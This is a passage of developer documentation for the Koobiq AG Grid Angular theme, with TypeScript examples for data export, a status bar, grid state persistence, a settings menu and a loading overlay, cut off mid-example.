The grid's own API can be used to export the currently displayed data (respecting active filters, sorting, and formatters). `api.exportDataAsCsv()` downloads a CSV file with no additional dependencies. Other formats can be built on top of the grid's cell values using third-party libraries — for example, XLSX via [`write-excel-file`](https://www.npmjs.com/package/write-excel-file), and PDF via [`jspdf`](https://www.npmjs.com/package/jspdf) with [`jspdf-autotable`](https://www.npmjs.com/package/jspdf-autotable).

**Example: AG Grid with CSV, XLSX and PDF export** (`ag-grid-export`)

```ts ag-grid-export-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, GridApi, GridReadyEvent, ModuleRegistry } from 'ag-grid-community';
import { jsPDF } from 'jspdf';
import { autoTable } from 'jspdf-autotable';
import writeExcelFile from 'write-excel-file/browser';

ModuleRegistry.registerModules([AllCommunityModule]);

type ExportTable = {
    headers: string[];
    rows: string[][];
};

@Component({
    selector: 'ag-grid-export-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <div class="ag-grid-export-example-actions">
            <button type="button" kbq-button (click)="downloadCsv()">Download CSV</button>
            <button type="button" kbq-button (click)="downloadXlsx()">Download XLSX</button>
            <button type="button" kbq-button (click)="downloadPdf()">Download PDF</button>
        </div>

        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            [alwaysMultiSort]="true"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [style.height.px]="300"
            [style.width.%]="100"
            (gridReady)="onGridReady($event)"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }

        .ag-grid-export-example-actions {
            display: flex;
            gap: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridExportExample {
    private readonly api = signal<GridApi | null>(null);
    private readonly filename = 'example-export';
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        filter: true,
        floatingFilter: true
    };
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Project name', width: 130 },
        { field: 'column1', headerName: 'Column 1', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 }
    ];
    protected readonly rowData = Array.from({ length: 20 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index
    }));

    /** Stores the grid API once the grid finishes initializing. */
    protected onGridReady({ api }: GridReadyEvent): void {
        this.api.set(api);
    }

    /** Downloads the grid data as a .csv file. */
    protected downloadCsv(): void {
        this.api()?.exportDataAsCsv({ fileName: `${this.filename}.csv` });
    }

    /** Downloads the grid data as an .xlsx file. */
    protected async downloadXlsx(): Promise<void> {
        const table = this.getExportTable();

        if (!table) return;

        await writeExcelFile([table.headers, ...table.rows], { sheet: 'Export' }).toFile(`${this.filename}.xlsx`);
    }

    /** Downloads the grid data as a .pdf file. */
    protected downloadPdf(): void {
        const table = this.getExportTable();

        if (!table) return;

        const pdf = new jsPDF({ orientation: 'landscape' });

        autoTable(pdf, { head: [table.headers], body: table.rows, theme: 'plain' });
        pdf.save(`${this.filename}.pdf`);
    }

    /** Reads the currently displayed columns and rows (respecting filter, sort and formatters). */
    private getExportTable(): ExportTable | null {
        const api = this.api();

        if (!api) return null;

        const columns = api.getAllDisplayedColumns();
        const headers = columns.map((column) => column.getColDef().headerName ?? column.getColId());
        const rows: string[][] = [];

        api.forEachNodeAfterFilterAndSort((node) => {
            if (!node.data) return;

            rows.push(
                columns.map((column) => api.getCellValue({ rowNode: node, colKey: column, useFormatter: true }) ?? '')
            );
        });

        return { headers, rows };
    }
}
```

### Status bar

The `kbqAgGridStatusBar` directive adds a customizable panel below the table.

**Example: AG Grid with \`KbqAgGridStatusBar\` directive** (`ag-grid-status-bar`)

```ts ag-grid-status-bar-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, signal } from '@angular/core';
import { KBQ_AG_GRID_STATUS_BAR_PARAMS, KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'example-ag-grid-status-bar',
    template: `
        <div>Total rows: {{ totalRows() }}</div>
        <div>Selected: {{ selectedRows() }}</div>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            gap: var(--kbq-size-l);
            height: var(--kbq-size-4xl);
            padding: 0 var(--kbq-size-l);
            border-top: var(--kbq-size-border-width) solid var(--kbq-line-contrast-less);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleAgGridStatusBarComponent {
    private readonly params = inject(KBQ_AG_GRID_STATUS_BAR_PARAMS);
    private readonly destroyRef = inject(DestroyRef);

    protected readonly totalRows = signal(0);
    protected readonly selectedRows = signal(0);

    constructor() {
        const { api } = this.params;

        const updateTotal = (): void => this.totalRows.set(api.getDisplayedRowCount());
        const updateSelected = (): void => this.selectedRows.set(api.getSelectedNodes().length);

        updateTotal();
        updateSelected();

        api.addEventListener('modelUpdated', updateTotal);
        api.addEventListener('selectionChanged', updateSelected);

        this.destroyRef.onDestroy(() => {
            api.removeEventListener('modelUpdated', updateTotal);
            api.removeEventListener('selectionChanged', updateSelected);
        });
    }
}

@Component({
    selector: 'ag-grid-status-bar-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            pagination
            [alwaysMultiSort]="true"
            [kbqAgGridStatusBar]="statusBarComponent"
            [rowSelection]="rowSelection"
            [style.height.px]="300"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (firstDataRendered)="onFirstDataRendered($event)"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridStatusBarExample {
    protected readonly statusBarComponent = ExampleAgGridStatusBarComponent;

    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'column0',
            headerName: 'Project name',
            width: 180
        },
        {
            field: 'column1',
            headerName: 'Text'
        },
        {
            field: 'column2',
            headerName: 'Text'
        },
        {
            field: 'column3',
            headerName: 'Text'
        },
        {
            field: 'column4',
            headerName: 'Text'
        },
        {
            field: 'column5',
            headerName: 'Text'
        },
        {
            field: 'column6',
            headerName: 'Text'
        },
        {
            field: 'column7',
            headerName: 'Text'
        },
        {
            field: 'column8',
            headerName: 'Text'
        },
        {
            field: 'column9',
            headerName: 'Text'
        }
    ];

    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index,
        column7: 'Text ' + index,
        column8: 'Text ' + index,
        column9: 'Text ' + index
    }));

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }
}
```

### State persistence

Directives save and restore grid state across page reloads.

`LocalStorageStore` is used by default. Switch to `QueryParamsStore` if needed.

#### Columns

The `kbqAgGridColumnState` directive saves sort order, column order, visibility, and width. Add it with a unique key and connect the store provider via `kbqAgGridColumnStateStoreProvider`.

**Example: AG Grid with \`KbqAgGridColumnState\` directive** (`ag-grid-column-state`)

```ts ag-grid-column-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqAgGridColumnStateLocalStorageStore,
    kbqAgGridColumnStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-column-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <button type="button" kbq-button (click)="columnState.reset()">Reset column state</button>
        <ag-grid-angular
            #columnState="kbqAgGridColumnState"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridColumnState="example-ag-grid-column-state"
            [alwaysMultiSort]="true"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
            [defaultColDef]="defaultColDef"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridColumnStateStoreProvider(KbqAgGridColumnStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridColumnStateExample {
    readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true
    };
    readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 100 },
        { field: 'column1', headerName: 'Column 1', width: 100 },
        { field: 'column2', headerName: 'Column 2', width: 100 },
        { field: 'column3', headerName: 'Column 3', width: 100 },
        { field: 'column4', headerName: 'Column 4', width: 100 },
        { field: 'column5', headerName: 'Column 5', width: 100 }
    ];
    readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index
    }));
}
```

#### Filters

The `kbqAgGridFilterState` directive saves column filter models. Add it with a unique key and connect the store provider via `kbqAgGridFilterStateStoreProvider`.

**Example: AG Grid with \`KbqAgGridFilterState\` directive** (`ag-grid-filter-state`)

```ts ag-grid-filter-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqAgGridFilterStateLocalStorageStore,
    kbqAgGridFilterStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-filter-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <button type="button" kbq-button (click)="filterState.reset()">Reset filter state</button>

        <ag-grid-angular
            #filterState="kbqAgGridFilterState"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridFilterState="example-ag-grid-filter-state"
            [alwaysMultiSort]="true"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
            [defaultColDef]="defaultColDef"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridFilterStateStoreProvider(KbqAgGridFilterStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridFilterStateExample {
    readonly defaultColDef: ColDef = {
        filter: true,
        floatingFilter: true
    };
    readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'column1', headerName: 'Column 1', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 },
        { field: 'column5', headerName: 'Column 5', width: 130 }
    ];
    readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index
    }));
}
```

#### Quick filter

The `kbqAgGridQuickFilterState` directive saves the quick filter value. Add it with a unique key, connect the store provider via `kbqAgGridQuickFilterStateStoreProvider`, and bind the input value via `[(kbqAgGridQuickFilterStateValue)]`.

**Example: AG Grid with \`KbqAgGridQuickFilterState\` directive** (`ag-grid-quick-filter-state`)

```ts ag-grid-quick-filter-state-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqAgGridQuickFilterStateLocalStorageStore,
    kbqAgGridQuickFilterStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-quick-filter-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, FormsModule, KbqFormFieldModule, KbqInputModule],
    template: `
        <kbq-form-field [style.width.px]="300">
            <input kbqInput placeholder="Quick filter" [(ngModel)]="filter" />
            <kbq-cleaner (click)="quickFilterState.reset()" />
        </kbq-form-field>

        <ag-grid-angular
            #quickFilterState="kbqAgGridQuickFilterState"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridQuickFilterState="example-ag-grid-quick-filter-state"
            [alwaysMultiSort]="true"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
            [(kbqAgGridQuickFilterStateValue)]="filter"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridQuickFilterStateStoreProvider(KbqAgGridQuickFilterStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridQuickFilterStateExample {
    readonly filter = model('');
    readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'column1', headerName: 'Column 1', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 },
        { field: 'column5', headerName: 'Column 5', width: 130 }
    ];
    readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index
    }));
}
```

#### External filter

The `kbqAgGridExternalFilterState` directive saves the external filter value. Add it with a unique key, connect the store provider via `kbqAgGridExternalFilterStateStoreProvider`, bind the value via `[(kbqAgGridExternalFilterStateValue)]`, and pass the row check function via `kbqAgGridExternalFilterStatePass`.

**Example: AG Grid with \`KbqAgGridExternalFilterState\` directive** (`ag-grid-external-filter-state`)

```ts ag-grid-external-filter-state-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqAgGridExternalFilterStateLocalStorageStore,
    kbqAgGridExternalFilterStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqSelectModule } from '@koobiq/components/select';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, IRowNode, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-external-filter-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, FormsModule, KbqFormFieldModule, KbqSelectModule],
    template: `
        <kbq-form-field [style.width.px]="300">
            <kbq-select placeholder="External filter" [(ngModel)]="filter">
                <kbq-cleaner (click)="externalFilterState.reset()" />
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <ag-grid-angular
            #externalFilterState="kbqAgGridExternalFilterState"
            kbqAgGridTheme
            kbqAgGridExternalFilterState="example-ag-grid-external-filter-state"
            [alwaysMultiSort]="true"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
            [kbqAgGridExternalFilterStatePass]="filterPass"
            [(kbqAgGridExternalFilterStateValue)]="filter"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridExternalFilterStateStoreProvider(KbqAgGridExternalFilterStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridExternalFilterStateExample {
    readonly options = ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert', 'IDS/IPS Alert', 'XSS'];
    readonly filter = model('');
    readonly filterPass = (node: IRowNode): boolean => node.data.filter === this.filter();
    readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'filter', headerName: 'Filter', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 }
    ];
    readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        filter: this.options[index % this.options.length],
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index
    }));
}
```

#### Rows

The `kbqAgGridRowSelectionState` directive saves row selection. Add it with a unique key, connect the store provider via `kbqAgGridRowSelectionStateStoreProvider`, and set `getRowId`.

**Example: AG Grid with \`KbqAgGridRowSelectionState\` directive** (`ag-grid-row-selection-state`)

```ts ag-grid-row-selection-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqAgGridRowSelectionStateLocalStorageStore,
    kbqAgGridRowSelectionStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, GetRowIdParams, ModuleRegistry, RowSelectionOptions } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-row-selection-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <button type="button" kbq-button (click)="rowSelectionState.reset()">Reset selection state</button>

        <ag-grid-angular
            #rowSelectionState="kbqAgGridRowSelectionState"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridRowSelectionState="example-ag-grid-row-selection-state"
            [getRowId]="getRowId"
            [rowSelection]="rowSelection"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
            [defaultColDef]="defaultColDef"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridRowSelectionStateStoreProvider(KbqAgGridRowSelectionStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowSelectionStateExample {
    protected readonly getRowId = (params: GetRowIdParams): string => params.data.column0;
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true
    };
    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true
    };
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'column1', headerName: 'Column 1', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 }
    ];
    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index
    }));
}
```

#### Focus

The `kbqAgGridRowFocusState` directive saves the focused cell. Add it with a unique key, connect the store provider via `kbqAgGridRowFocusStateStoreProvider`, and set `getRowId`.

**Example: AG Grid with \`KbqAgGridRowFocusState\` directive** (`ag-grid-row-focus-state`)

```ts ag-grid-row-focus-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqAgGridRowFocusStateLocalStorageStore,
    kbqAgGridRowFocusStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, GetRowIdParams, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-row-focus-state-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <button type="button" kbq-button (click)="rowFocusState.reset()">Reset focus state</button>

        <ag-grid-angular
            #rowFocusState="kbqAgGridRowFocusState"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridRowFocusState="example-ag-grid-row-focus-state"
            [getRowId]="getRowId"
            [rowData]="rowData"
            [columnDefs]="columnDefs"
            [style.height.px]="300"
            [style.width.%]="100"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridRowFocusStateStoreProvider(KbqAgGridRowFocusStateLocalStorageStore)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowFocusStateExample {
    protected readonly getRowId = (params: GetRowIdParams): string => params.data.column0;
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'column1', headerName: 'Column 1', width: 130 },
        { field: 'column2', headerName: 'Column 2', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 }
    ];
    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Text ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index
    }));
}
```

### Table settings menu

The `kbqAgGridSettingsMenu` directive adds a table settings button in the top-right corner of the grid. By default, the menu contains two items:

| Item                                 | Description                                                        |
| ------------------------------------ | ------------------------------------------------------------------ |
| `kbqAgGridSettingsMenuColumnsItem()` | Showing, hiding, reordering and pinning columns, searching by name |
| `kbqAgGridSettingsMenuSortItem()`    | Sorting by several columns                                         |

The reset button restores the columns and the sorting to their initial state.

Constraints are configured via `ColDef`:

- `lockVisible: true` prevents hiding a column. The last visible column can never be hidden regardless.
- `lockPinned: true` prevents pinning and unpinning a column.

Russian labels are used by default. To switch the language, provide the labels providers:

```ts
providers: [
    kbqAgGridSettingsMenuLabelsProvider(KBQ_AG_GRID_SETTINGS_MENU_LABELS_EN),
    kbqAgGridColumnMenuLabelsProvider(KBQ_AG_GRID_COLUMN_MENU_LABELS_EN)
];
```

**Example: AG Grid with \`KbqAgGridSettingsMenu\` directive** (`ag-grid-settings-menu`)

```ts ag-grid-settings-menu-example.ts
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import {
    KBQ_AG_GRID_COLUMN_MENU_LABELS_EN,
    KBQ_AG_GRID_SETTINGS_MENU_LABELS_EN,
    kbqAgGridColumnMenuLabelsProvider,
    kbqAgGridSettingsMenuColumnsItem,
    KbqAgGridSettingsMenuItems,
    kbqAgGridSettingsMenuLabelsProvider,
    kbqAgGridSettingsMenuSeparator,
    kbqAgGridSettingsMenuSortItem,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ModuleRegistry } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

// Row heights of --kbq-size-3xl and --kbq-size-4xl, the default row height of the theme.
const EXAMPLE_COMPACT_DENSITY = { id: 'compact', label: 'Compact', rowHeight: 32 };
const EXAMPLE_NORMAL_DENSITY = { id: 'normal', label: 'Normal', rowHeight: 40 };

const EXAMPLE_SEVERITIES = ['Critical', 'High', 'Medium', 'Low'];
const EXAMPLE_STATUSES = ['New', 'In progress', 'Resolved'];
const EXAMPLE_ATTACK_TYPES = ['Brute force', 'Phishing', 'Port scan', 'Malware', 'DNS tunneling'];

@Component({
    selector: 'ag-grid-settings-menu-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSettingsMenu
            [alwaysMultiSort]="true"
            [kbqAgGridSettingsMenuItems]="settingsMenuItems"
            [rowHeight]="density().rowHeight"
            [style.height.px]="400"
            [columnDefs]="columnDefs"
            [rowData]="rowData"
        />
    `,
    providers: [
        kbqAgGridSettingsMenuLabelsProvider(KBQ_AG_GRID_SETTINGS_MENU_LABELS_EN),
        // The Columns screen takes its labels from the column menu.
        kbqAgGridColumnMenuLabelsProvider(KBQ_AG_GRID_COLUMN_MENU_LABELS_EN)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridSettingsMenuExample {
    protected readonly density = signal(EXAMPLE_NORMAL_DENSITY);

    protected readonly settingsMenuItems: KbqAgGridSettingsMenuItems = [
        kbqAgGridSettingsMenuColumnsItem(),
        kbqAgGridSettingsMenuSortItem(),
        kbqAgGridSettingsMenuSeparator(),
        // A custom item: the menu has no built-in density setting.
        {
            id: 'density',
            label: 'Density',
            icon: 'kbq-bars-sort-center_16',
            mode: 'single',
            value: computed(() => this.density().label),
            items: [EXAMPLE_COMPACT_DENSITY, EXAMPLE_NORMAL_DENSITY].map((density) => ({
                id: density.id,
                label: density.label,
                checked: computed(() => this.density() === density),
                keepOpen: true,
                action: () => this.density.set(density)
            }))
        }
    ];

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'incidentId',
            headerName: 'Incident ID',
            pinned: 'left',
            lockVisible: true,
            lockPinned: true,
            width: 120
        },
        { field: 'severity', headerName: 'Severity', width: 110 },
        { field: 'status', headerName: 'Status', width: 120 },
        { field: 'attackType', headerName: 'Attack type', width: 170 },
        { field: 'sourceIp', headerName: 'Source IP', hide: true, width: 150 },
        { field: 'affectedHost', headerName: 'Affected host', hide: true, width: 150 }
    ];

    protected readonly rowData = Array.from({ length: 30 }, (_, index) => ({
        incidentId: `INC-${1001 + index}`,
        severity: EXAMPLE_SEVERITIES[index % EXAMPLE_SEVERITIES.length],
        status: EXAMPLE_STATUSES[index % EXAMPLE_STATUSES.length],
        attackType: EXAMPLE_ATTACK_TYPES[index % EXAMPLE_ATTACK_TYPES.length],
        sourceIp: `192.0.2.${index + 1}`,
        affectedHost: `srv-0${(index % 9) + 1}`
    }));
}
```

### Loading overlay

The `kbqAgGridLoadingOverlay` directive controls the grid loading state: when the value is `true`, a skeleton overlay is shown on top of the rows.

The skeleton placeholder takes the place of the grid before loading. Regardless of the contents of the future grid, the placeholder consists of a header, 3 columns and 3 rows. The number of columns and rows can be adjusted via `kbqAgGridLoadingOverlayConfigProvider`. The first column has a fixed size, the rest stretch equally. The placeholder bars in the cells imitate the real content and have different widths.

After the grid is initialized, the data starts loading. For consistency, the placeholder of three rows stays during loading, but now it reflects the real set of columns and their widths, and the selection column. The placeholder bars in the cells still have different widths to imitate the real content.

**Example: AG Grid with loading overlay** (`ag-grid-loading-overlay`)

```ts ag-grid-loading-overlay-example.ts
import { ChangeDetectionStrategy, Component, model, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    kbqAgGridLoadingOverlayConfigProvider,
    KbqAgGridSkeletonCellRenderer,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqToggleModule } from '@koobiq/components/toggle';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    ICellRendererParams,
    IDatasource,
    IGetRowsParams,
    ModuleRegistry
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const ROW_DATA = Array.from({ length: 1000 }, (_, index) => ({
    column0: 'Text ' + index,
    column1: 'Text ' + index,
    column2: 'Text ' + index,
    column3: 'Text ' + index,
    column4: 'Text ' + index,
    column5: 'Text ' + index
}));

@Component({
    selector: 'ag-grid-loading-overlay-example',
    imports: [AgGridModule, KbqAgGridThemeModule, FormsModule, KbqToggleModule],
    template: `
        <kbq-toggle [(ngModel)]="loading" (ngModelChange)="onLoadingChange($event)">Show loading overlay</kbq-toggle>

        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            rowModelType="infinite"
            [alwaysMultiSort]="true"
            [kbqAgGridLoadingOverlay]="loading()"
            [datasource]="datasource()"
            [defaultColDef]="defaultColDef"
            [columnDefs]="columnDefs"
            [cacheBlockSize]="20"
            [infiniteInitialRowCount]="6"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
